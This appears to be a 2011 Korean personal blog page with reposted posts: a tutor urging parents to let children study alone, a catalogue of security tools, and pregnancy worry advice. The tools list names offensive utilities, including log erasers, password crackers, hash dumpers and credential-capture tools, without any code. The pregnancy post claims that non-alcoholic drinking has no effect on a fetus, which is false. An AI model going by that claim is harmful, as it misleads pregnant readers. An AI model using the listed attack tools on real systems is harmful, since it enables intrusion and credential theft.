지금 파올로 코엘료의 연금술사 영어번역본을 혼자 외우고 있습니다, 
해리 포터 혼자서 번역하구요. 
엉터리 번역 많지만 내버려둡니다. 
수학 오답노트만 체크해주고 그게 답니다. 
성적 별로지만 저 상관 안합니다. 
요즘 우리 애는 집에만 오면 지 방에서 혼자 만화 그리느라 정신없습니다. 
얼마나 좋습니까? 전 내버려둡니다. 

수행, 만점 받으려고 밤새는 그런 거 저 안 시킵니다. 
요즘은 수행 전문 강사도 있더군요. 
정말 어이없어서...... 지 혼자 해서 10점을 받든, 20점을 받든 그걸로 만족입니다. 
줄넘기 좀 못하면 어때서 그거 땜에 애 밤새우게 합니까? 
우리 애는 특목고는 못 가겠죠. 
상관 안합니다. 
근데 외고 같은 경우, 
영어 시험 영작과 듣기만 친다는 거 아세요? 
지금 자제분 다니는 학원, 영작 시킵니까? 
이거 학원 다닌다고 테크닉 배운다고 되는 거 아닙니다. 
영어책 외우고 자꾸 혼자 번역해봐야 나중에 영작이 됩니다. 
수학요? 특목고 전문 학원 그거에 속지 마세요 
. 자기 혼자 수학 붙들고 끙끙거리지 않으면 특목고 문제 못 풉니다. 
대학요? 연고대 나와도 지가 사고하는 능력 없으면 취직 안 되고, 취직 해봤자 입니다. 
과외로 칠갑을 해서 연고대 가서 1학년 때 성적미달 받아오는 애들 많습니다. 
과외 선생 없으면 리포트도 못 쓰는 애들. 
이런 애들, 좋은 대학 나와 봤자 아무 것도 못 합니다. 
제발 혼자 하게 좀 내버려 두세요. 

재작년에 저에게 온 학생 있었습니다. 
내신이 반에서 16%쯤 되니까 2등급도 안되죠. 
제가 얘를 받은 건 중학교 때부터 과외를 한 번도 안 하고 
(초딩 때 윤선생 영어 했다고 합니다. 그게 답니다) 
혼자 했다는 말을 듣고 제가 받았죠. 인강만 가지고 공부하더군요 
. 얘, 고려대 수시1 걸려서 지금 고려대 다닙니다. 
논술을 잘 썼거든요. 
늘 혼자 하다 보니 사고력이 있는 겁니다. 

또 한 아이. 
얘는 집이 어려워서 학원도 제대로 못 다닌 애였습니다. 
성적은 내신 1등급이지만 수능이 안 나왔어요. 
아는 사람이 부탁해서 그저 가르쳐줬습니다. 
돈 많이 벌고 세금도 적게 내는데 
이런 애는 그냥 가르쳐주는 게 도리다 싶어서요. 
해마다 이런 애 몇몇이 있습니다. 
언어와 논술 딱 석 달 시켰습니다. 
이런 애들은 정말 가르치기 좋습니다. 
가르치면 쏙쏙 들어갑니다. 학원과 과외에 닳은 애들은, 
나쁜 습관 고치느라 진을 다 뺍니다. 
얘, 자기 엄마가 가사 도우미인데요, 
서울대 수시 입학했습니다. 

학부모님들, 제발 오해하지 마세요. 
공부 잘 하는 애들은 혼자 하는 습관에 더해서 과외가 붙는 겁니다. 
과외만으로는 아무 것도 안 됩니다. 
제대로 된 과외강사는 
혼자 하도록 지도해주는 강사입니다. 
기본을 가르쳐주는 강사, 
이게 정말 제대로 된 강사입니다. 
강사의 화려한 언변과 
당장 수능 점수 올려주는 그 테크닉에 속지 마세요. 
그런 강사들은 딱 3달 장사하고 
그만하는 걸 기본으로 합니다. 
계속 그런 식으로 학생들 돌립니다. 

주변을 보고 마음 흔들리지 마시고 
어릴 때부터 공부는 혼자 하는 거다, 
알 수 있도록 학원 제발 보내지 마세요. 
지금 고3인데 성적 안 나옵니까? 
재수 1년 시킨다 생각하시고 혼자 하게 하세요. 
그럼 재수 1년 해서 대학 갈 수 있지만 
마음 조급해서 과외선생 들입다 붙이면 
대학도 안 되고 내년에도 똑같습니다. 

글이 너무 길어졌습니다. 부탁입니다. 
학원 보내지 마세요. 
하루에 30분만 투자해서 체크만 하세요. 
가르치려 들지 마시고 체크만 하시고 
칭찬 많이 해주세요. 넌 천재다, 
고등되면 넌 팍팍 오른다, 
칭찬 하시면서 혼자 하게 지도하세요. 
공부 안 해놨을 때 절대 야단치지 마시고 
안 한 것 다시 시키세요. 
이것만 하세요. 
6개월만 해보세요. 
부탁입니다. 
하루에 30분 체크 
그거 귀찮아서 안하면서 입시가 어떠니, 
일류 강사가 어떠니 강남 대치동 엄마들이 어떠니......에효. 








어려운 글도 아니니 시간내서 읽어보세요^^




[출저]네이버 카페 레몬테라스님.
Posted by yangdaegam
l


Posted by yangdaegam
l

TOOOOOOOOOOOOOLS

WORK/SECURITY 2011. 8. 2. 11:07

백도어/악성코드 
터보백신2001 : S&S에서 무료로 제공하는 Windows용 바이러스, 백도어, 트로이 목마 검사 
> AMaViS (A Mail Virus Scanner) – 0.2.1 Pre 2 : Unix환경에서 메일에 첨부된 파일에 대한 바이러스 검사 
> AnalogX Script Defender 1.01 : Visual Basic Scripting (.VBS), Java Script (.JS)로 만들어진 바이러스의 공격을 차단 
> Anti-Trojan 4.0.98 : Back Orifice 2000(BO2K)를 포함 98개의 트로이목마를 탐지, 제거 
> Antidote PC SuperLite : Download후 install없이 바로 실행할 수 있는 간단한 바이러스 체크 프로그램 
> BFB Tester : Binary를 체크하여 argument 오버플로우나 환경 오버플로우를 검사 
> Cleaner 3.0 : Trojan 탐지/제거 
> MailCleaner 2.6 : Microsoft의 Outlook과 Outlook Express에서 수신한 메일이 바이러스를 포함한 경우 자동삭제 
> Purge-It 1.1 : Backdoor, Trojan, Spyware같은 악성 프로그램 탐지, 제거/악성 프로그램에 의한 시스템의 피해확인 
> Rkdet 0.51 : Rootkit 설치나 패킷 스니퍼 설치를 감시 
> SurfinGuard 192b : 개인 PC에서의 sandbox 보안모델/숨겨진 trojan, worm같은 악성 프로그램을 감시<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><?XML:NAMESPACE PREFIX = O /> 
> WinZapper : 윈도우에서 들어 갔다 나오면서 로그 지우는 툴

파일무결성 
> AIDE (Advanced Intrusion Detection Environment) 0.7 : Tripwire 대체 프로그램 
> BSIGN : 실행/이진 파일 확인 및 인증 
> FCheck 2.07.51 : 윈도우 시스템 침입탐지/정책시행, 유닉스 서버관리용 perl script 
> FileTraq 0.2 : crontab에 등록되어 주기적으로 시스템 파일 비교 
> fs-spider : 사용자 정의에 따라 배드 퍼미션을 찾아낸다 
> Osiris Scripts : 두개의 실행파일 카탈로그를 만들어 비교한다. 
> Secure Portal : 선택한 파일들에 대해 "요주의 단어" 를 감시하여 GUI로 보여준다 
> Sherpa 0.1.4 : 시스템 보안 구성 관리 및 검사 도구. 파일 및 디렉토리 퍼미션 검사 
> Toby : Tripwire 대체 프로그램. 파일 체크섬 유지 
> Triplight : 침입 탐지 및 무결성 검사 프로그램 
> Tripwall : 침입 탐지 및 무결성 검사 프로그램 
> Tripwire 1.3 : 파일 및 디렉토리 무결성 검사 프로그램. 
> ViperDB : Tripwire에 대한 옵션 도구 
> Watchfile : 스크린에 파일 목록을 보여주고 상태를 계속해서 업데이트한다. 

법적증거 
> AFind : 파일을 접근시간별로 분류 (로그온 시간과 비교가능) 
> DumpEvt : 윈도우 NT 이벤트 로그 덤프 
> DumpSec : Permission/감사 설정 덤프 
> Forensic Toolkit 1.4 : NTFS 파티션에서 불법행위 체크 
> NTLast v1.6 : 윈도우 NT를 위한 보안감사 툴 
> TCT (The Coroner’s Toolkit) : 유닉스 시스템에서 forensics 정보를 수집하고 분석하는 도구. SATAN 개발자가 만든 forensic 도구임. 
> Tfn2kpass : tfn2k의 패스워드를 복구, 감염된 시스템을 모두 알아낼 수 있게 해준다. 

호스트 
> Audit Daemon For Linux 1.11 : 리눅스 커널로부터 생성된 감사추적 로그를 필터링하여 특정 로그 파일로 저장 
> Autoconf-sectest : 개발 CODE를 Configure할 때 일반적인 보안홀과 잘못된 구성을 체크 
> Check.pl : 파일과 디렉토리에 대한 permission을 검사하여 위험한 파일들의 목록을 출력 
> COPS : UNIX 시스템 관리자, 프로그래머, 운영자를 위한 보안도구모음 
> GNIT : NT Vulnerablility Scanner 
> GORK v2.0b : tcp/udp/icmp/ip 덤프, From/To 를 지정해서 필터링 할 수 있음. 
> IISperms : IIS 보안문제 해결에 도움 
> Instructor 1.0 : 32bit instruction set auditor 
> Inzider 1.2 : 윈도우 프로세스들이 Listening하는 포트를 나열 
> L0pht watch : Linux Basic Security Module ( BSM ) 리눅스 감사 도구 
> NetStat Live : TCP/IP 프로토콜 모니터 
> NT Regpack : NT Registry Hardener 
> Perro : 들어오는 IP/TCP, IP/UDP , IP/ICMP 패킷을 기록 
> Sara 3.2.3 : 유닉스 기반의 보안점검 도구 
> Syscheck : 미리 정의된 시스템 보안 위반사항을 검사하여 로그나 이메일로 경고 
> SARA (Security Auditor’s Research Assistant) : 유닉스 시스템의 보안문제점을 점검 

로그분석 
> Acct0.91 : 리눅스 Accounting 도구 
> ASAX – Advanced Security audit trail Analisys on uniX 1.0 : 순차파일의 지능적 분석을 간단하게 해주는 도구 
> Calamaris : Squid V1.1.x, V1.2.x, V2.x 와 NetCache의 로그를 분석하여 리포팅 
> ColorLogs : 로그파일에 색을 입혀 쉽게 알아볼 수 있게 하는 도구 
> fwinfo, fwreport : Firewall-1의 보안정책을 HTML로 변환, Firewall-1의 대역폭 사용을 리포트 
> fwlogstat : Firewall-1의 Account Log 분석을 도와주는 도구 
> LogCheck : 시스템 로그파일에 비정상적인 행위가 있었는지 검사 
> Log Scanner : 로그파일에 미리 정의된 비정상 행위가 있는지 검사하여 시스템 관리자에게 메일/호출 등으로 알려줌 
> Logsurfer : 텍스트 형식의 로그파일을 실시간 감시 
> Logwatch : 네트웍상의 여러 시스템의 로그파일을 Client/Server 방식으로 볼 수 있음 
> NLog : nmap 로그파일을 분석 및 관리 
> Reptor : Axent Raptor Firewall의 로그분석 및 리포트 
> Ricochet : 스팸메일을 추적하여 메일이 발송된 시스템 관리자에게 항의 메일을 발송 
> SRS (Secure Remote Streaming) : syslogd의 대체프로그램, 안전한 로깅, SSL을 통한 서버로의 로그전송 
> Syslog-ng (Next Generation) : syslogd의 대체 프로그램, 뛰어난 로그 Configurability, message 무결성,암호화 
> tcpdump2ascii : tcpdump -x 의 출력을 분석하여 ASCII 형태로 보여줌 
> WDumpEvt : 윈도우 NT 로그 정보의 관리를 쉽게 해주는 도구 
> WinAudlog : 네트웍에 분산된 시스템 로그파일을 중앙에서 검사하고 침입자의 로그파일 변조여부를 조사 
> WindowsNT : Syslog Service 윈도우 NT의 이벤트를 한줄로 변환하여 syslog 호스트에게 전송 

네트워크 
> AntiSniff : 네트웍 상에 Promiscuous 모드로 동작하는 호스트가 있는지 점검. 
> APSEND : Firewall이나 다른 네트웍 응용프로그램 테스트를 위한 TCP/IP 패킷 전송도구 
> Blast : TCP 스트레스 테스트 도구. 네트워크 서버의 잠재적인 취약성 발견에도 도움이 됨 
> BOping : 백오리피스 스캐너 
> Cerberus : Internet Scanner 취약점 점검도구 
> DDoSping : DDoS 스캐너 
> DNScache : 보안을 고려한 DNS 도구 모음. BIND의 안전한 대체로 사용가능 
> FtpCheck : 호스트/네트웍을 스캔하여 FTP나 anonymous FTP archive를 찾아냄 
> getsvrinfo.exe : 원격 NT서버의 NetBIOS이름, 도메인/워크그룹/ 로그인한 사용자 수, 버전 등을 알아내는 도구 
> httptype : http 호스트의 목록을 읽어 HTTP 서버의 종류를 보여줌 
> Hping2 : Custom ICMP/TCP/UDP 패킷을 전송. 방화벽 Rule점검, 포트스캔, 네트웍 성능측정,….. 
> HUNT : Connection을 관찰, 리셋하여 이에 침입하는 프로그램 
> HyperTrace : traceroute의 GUI 버전 
> ICIS (IP Stack Integrity Checker) : IP 스택의 안정성과 Firewall rule 통과시험등을 테스트 
> icmpenum : icmp echo, timestamp, info 패킷을 모두 사용하여 네트웍의 잠재적 타겟을 결정하고 스푸핑과 응답 패킷 스니핑이 가능 
> ICMPush : 명령줄에서 Customize된 ICMP 패킷을 보낼 수 있음 
> Intact : 시스템의 스냅샷을 저장해 두고 주기적으로 검사하여 침입, 바이러스, 트로이 목마 등을 탐지 
> IPaudit : 네트웍 디바이스를 promiscuous 모드로 하여 모든 connection을 기록 
> iplog : TCP,UDP,ICMP 트래픽을 로그, 여러가지 공격과 스캔을 탐지 
> ippacket : 리눅스 명령줄에서 IP/TCP/UDP/ICMP 패킷을 생성하는 유틸리티 
> Leapfrog : 포트 위장, Redirect 
> Lookout : TCP 접속을 통해 보내진 데이타에 접근, 프로토콜 검사 및 버퍼 테스트를 가능하게 함 
> md-webscan : CGI 취약점 스캔. 180개 취약점 
> Narrow Security Scanner : 원격 취약점 스캐너 
> Nbtdump : 윈도우 NT, 2000, NIX 삼바로부터 NetBios 정보를 얻어냄 
> Nessus : 원격 보안스캐너 
> NetMon : 네트웍 규모의 프로세스 모니터 
> NetSaint : 네트웍 상의 호스트와 서비스 모니터, 이메일/ 호출 통지 
> Netsaint Console Monitor : NetSaint의 콘솔 모니터, GUI없이 감시 가능 
> NTOTools : Lservers(NetBios name 덤프), NTOLog((도메인 전체 로그 백업), NPList (네트웍 프로세스 덤프), NTODrv(네트웍 드라이버/서비스 덤프) 
> NTOMax : 네트웍 버퍼 스트레스 테스트 
> PacketX : Firewall 테스트 도구, 패킷 스푸핑, raw 패킷 생성 등 
> PIKT- Problem Informant/Killer Tool : 네트웍의 이기종 시스템들을 관리하기 위한 응용프로그램과 구성파일 모음. 시스템 감시, 문제보고, 문제해결 
> Queso : 원격 OS 탐지 
> relaycheck : 릴레이를 허용하는 SMTP 서버 스캔 
> SAINT – Security Administrator’s Integrated Network Tool : SATAN에 기반한 보안 평가 도구. Firewall을 통한 스캔, 4보안레벨, CERT/CIAC 공시 반영 
> Sam Spade : 윈도우 시스템을 위한 종합 네트웍 쿼리 도구 
> SATAN : 네트웍관련 보안 문제 점검도구 
> scanlogd : 포트 스캔을 감지하여 syslog에 기록 
> Send Packet : TCP/UDP/ICMP/IP 패킷 "customizer" 
> SendIP : Arbitrary IP 패킷을 보낼 수 있는 도구 
> SID2User & User2SID : 로컬 또는 원격 시스템의 SAM으로부터 User ID를 알아내고, 사용자 계정 및 그외의 것들을 알아냄 
> Siphon : 수동적 TCP mapping과 호스트 확인 
> SMB Downgrade Attacker : 사용자가 원격으로 공유를 시도하기를 기다리다가 사용자 이름과 패스워드를 Clear text로 획득하려고 시도 
> SpiderMap 0.1 : 정교하게 조절된 네트웍 스캔을 가능하게 하는 스크립트 모음 
> Stack Shield : 프로그램이 스택 스매싱 공격으로부터 안전하도록 컴파일시 보호책을 추가 
> SuperScan : 강력한 connection-based TCP 포트 스캐너, Pinger, Hostname Resolver 
> TCPdump 3.5.2 : 네트웍 트래픽을 보여준다. 
> TCPView v1.11 : TCP 및 UDP 세션의 자세한 목록을 보여줌 
> UltraScan : 강력한 네트웍 스캐너. 불법 웹서버,FTP서버, 기타 불법 서비스 운영상황 파악 
> Virtual eXecuting Environment : 유닉스 서버를 네트웍 침입자로부터 보호 
> VoidEye : CGI 취약점 스캐너 
> Windump : TCPDump의 윈도우 버전 
> Winfingerprint : 윈도우 OS 탐지, 각종 서버,공유,사용자, 그룹 정보 수집 
> WUPS : 윈도우 UDP 포트 스캐너 
> Zombie Zapper : 패킷을 범람시키는 좀비 시스템에게 중단을 명령. 좀비의 활동을 중지. Trinoo,TFN,Stacheldraht 방어. 
> Pinger :  Visual C=++ 로 작성된 스캐너 프로그램 – 윈도우 2000에서 작동되지 않음 
> Pinger(http://www.nmrc.org/files/snt/
> Ping Sweep(www.solarwinds.net
> WS_PingProPack(www.ipswitch.com)  – 괜찮음 
> Netscan(www.nwpsw.com)

패스워드 
> Brutus : 온라인 또는 원격 패스워드 크래커 
> Fast Zip Crack : zip 패스워드 크랙 프로그램 
> fcrackzip : zip 패스워드 크랙 프로그램 
> John the Ripper : 유닉스,도스,윈도우용 패스워드 크래커 
> L0phtCrack : NT 패스워드 크래커 
> passwd+ : 패스워드 (패스워드 유효성) 검사 
> PKCrack : PKZIP 패스워드 크래커 
> Pwdump : NT의 SAM 데이타베이스로부터 패스워드 해쉬를 덤프 
> Remote Password Assasin (RPA) : 네트웍을 통한 패스워드 크래커 
> SQLdict : SQL 사전(dictionary) 공격 도구 
> Strongpass 1.0 : 패스워드 강화도구 
> Viper : 유닉스 패스워드 크래커, 문자조합 
> Xavior : 원격 패스워드 감사 및 복구 도구

Posted by yangdaegam
l

존슨즈 테스트 ㅋㅋ

LIFE 2011. 7. 23. 09:55

 
Posted by yangdaegam
l

“임신한 걸 모르고 술을 마셨어요.”
Advice
현대인에게 노출된 여러 가지 환경이 임신부에겐 부적합한 경우가 참 많다. 게다가 임신 사실을 모르고 술을 마셨을 때는 태아의 건강에 대한 불안함 때문에 스트레스를 받게 마련. 하지만 알코올 중독자 수준이 아니라면 술이 태아에 미치는 영향은 이로 인한 스트레스에 비한다면 아무 영향이 없다고 봐도 좋다. 간접흡연의 경우도 마찬가지. 오늘부터 조심하면 아무 걱정하지 않아도 된다. 가만히 앉아서 생각할수록 눈덩이처럼 커지는 것은 바로 ‘불안감’이다. 좋은 음악을 듣거나 가벼운 여행을 하는 등 기분을 빨리 전환해야 한다.

“하염없이 눈물이 나고 우울해요”
Advice 임신 중 에스트로겐이 증가하면서 약 20% 이상의 여성들이 우울증을 겪는다. 임신 초기에는 가벼운 우울증이 나타나다가 후반기에 들어서면 증세가 악화되는 경우도 종종 있다. 호르몬의 영향 외에도 출산에 대한 공포와 두려움으로 신경이 날카로워지는 심리 변화가 원인으로 작용하기도 한다. 마냥 좋지 않은 기분을 억지로 떨쳐내려 하지 않아도 된다. 단, 이 불안의 원천이 무엇인지를 진지하게 생각해보자. 그리고 임신한 친구나 아이가 있는 직장 선배에게 상담을 요청하자. ‘나만 느끼는 감정’이 아님을 확인할 수 있을 것이다.

“이제 자유는 끝이겠죠? 괜히 남편이 미워요”
Advice 일반적으로 출산은 남자보다는 여자의 생활을 더 많이 변화시킨다. ‘엄마’가 되면 자기 생활은 잠시 접어야 하는 것도 사실이다. 짧게는 산후조리 기간인 3개월이지만 길게는 몇 년까지 아기에게 묶여 살게 된다. 하지만 남편 입장에서도 아내의 임신은 이제 곧 가족구성원이 한 명 더 늘게 됨을 뜻하고, 자신도 무언가 더 준비해야 한다는 불안감에 시달릴 수 밖에 없다. 소외감도 느낄 수 있다. 그러니 ‘나만 힘들다’, ‘억울하다’라는 생각은 하지 않도록 한다. 서로의 입장 차이를 이해하고 의식적으로 대화하는 시간을 충분히 가지면서 서운하고 궁금했던 부분을 풀어나가는 것이 좋다. 또한 아기가 태어난 후 경제계획 세우기, 임신·출산 스케줄 짜기, 출산용품 장만하기 등을 함께 하면서 앞으로 어떤 부모가 될지 그려보는 것도 좋다.

TV에서 본 출산 장면을 떠올리면 무서워요”
Advice 찢기는 듯한 비명 소리와 목의 힘줄이 튀어나올 정도로 입술을 깨물며 힘을 주는 TV나 영화 속 출산 장면을 떠올린다면 아기를 낳는 것은 분명 악몽이다. 하지만 일상에서 출산은 단 몇 번밖에 경험할 수 없는 ‘이벤트’이기도 하다. 주변의 선배 엄마에게 ‘출산의 고통’에 대해 물어보라. 살짝(!) 겁을 줄 수도 있지만 다시없는 경이로운 경험으로 추억하는 사람이 훨씬 더 많음을 알 수 있다. 그래도 걱정이 떨쳐지지 않는다면 분만실에서 유용한 라마즈 호흡법을 익히거나 무통분만에 대한 정보를 모으는 등 실제적으로 출산의 고통과 시간을 줄일 방법을 찾는 편이 더 현명하다.

남편이 싫어할까봐 걱정이예요”
Advice 남편의 감정을 묻기 전에 스스로에게 먼저 질문해보자. 당신의 솔직한 심정이 어떠한지를 말이다. 자신의 감정을 확실히 정리한 다음 남편과 열린 대화를 해도 늦지 않다. 내 마음을 잘 모른 채 임신에 대한 남편의 감정을 알게 되고, 만에 하나 원치 않는 답변을 듣게 된다면 그 충격은 상상을 초월할 것이다. 하지만 자신을 닮은 2세가 세상에 생겼다는 소식을 싫어하는 남편은 거의 없다

Posted by yangdaegam
l
Posted by yangdaegam
l